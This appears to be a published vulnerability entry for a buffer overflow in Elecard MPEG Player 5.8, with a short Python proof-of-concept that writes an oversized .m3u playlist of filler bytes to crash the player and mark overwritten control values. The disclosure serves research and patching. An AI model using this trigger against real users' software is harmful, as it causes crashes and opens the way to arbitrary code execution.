Elecard MPEG Player – ‘.m3u’ File Buffer Overflow
source: https://www.securityfocus.com/bid/59534/info Elecard MPEG Player is prone to a buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer. Attackers can execute arbitrary code in the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. Elecard MPEG Player 5.8 is vulnerable; other versions may also be affected. #!/usr/bin/python # Exploit Title:Elecard MPEG Player 5.8 Local PoC # Download link :www.elecard.com/assets/files/distribs/mpeg-player/EMpgPlayer.zip # Product: Vulnerable # Elecard MPEG Player,Elecard AVC HD Player # RST # Date (found): 27.04.2013 # Date (publish): 27.04.2013 # Author: metacom # version:5.8.121004 # Category: poc # Tested on: windows 7 German head="#EXTM3U\n" head+="#EXTINF:153,Artist - song\n" filename= "elecard.m3u" buffer= "\x41" * 783 buffer+="\x42" * 4 buffer+="\x43" * 4 buffer+="\x44" * 25000 textfile = open(filename , 'w') textfile.write(head+buffer) textfile.close() |